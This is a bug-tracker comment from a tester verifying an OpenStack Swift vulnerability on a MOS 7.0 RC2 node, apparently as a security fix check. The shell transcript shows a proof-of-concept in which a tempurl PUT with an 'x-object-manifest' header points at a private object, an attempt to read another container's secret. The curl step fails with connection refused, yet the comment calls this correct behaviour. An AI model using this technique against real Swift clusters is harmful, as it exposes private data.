Comment 7 for bug 1487450

Revision history for this message
Timur Nurlygayanov (tnurlygayanov) wrote :

Observed Results when I have executed script on MOS 7.0 RC2 environment:

root@node-1:~# #!/bin/bash
root@node-1:~# # resetswift
root@node-1:~# set -e
root@node-1:~# echo "password" > secret
root@node-1:~# swift upload private secret
secret
root@node-1:~# swift post -H 'x-account-meta-temp-url-key: mykey'
root@node-1:~# # create a container for people to upload stuff too
root@node-1:~# swift post public
root@node-1:~# # attacker: "yes hello, can I have a safe place to upload some of my data?"
root@node-1:~# PUT_TEMPURL_SIG="$(swift tempurl PUT 60 /v1/AUTH_test/public/your-thing mykey)"
root@node-1:~# curl -XPUT -H 'x-object-manifest: private/secret' "http://localhost:8080${PUT_TEMPURL_SIG}" -d ''
curl: (7) Failed to connect to localhost port 8080: Connection refused

So, looks like it is correct behavior.